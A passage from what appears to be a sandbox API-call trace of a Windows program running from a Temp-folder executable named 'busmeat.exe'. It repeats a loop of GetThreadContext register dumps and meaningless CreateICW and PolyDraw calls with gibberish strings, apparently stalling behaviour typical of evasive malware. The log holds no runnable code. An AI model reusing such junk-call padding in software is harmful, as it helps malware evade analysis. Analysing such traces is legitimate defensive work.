[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.223] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.224] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.224] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.224] GetConsoleCP () returned 0x0
	[0066.224] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.224] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.225] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.225] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.225] GetConsoleCP () returned 0x0
	[0066.225] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.225] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.226] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.226] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.226] GetConsoleCP () returned 0x0
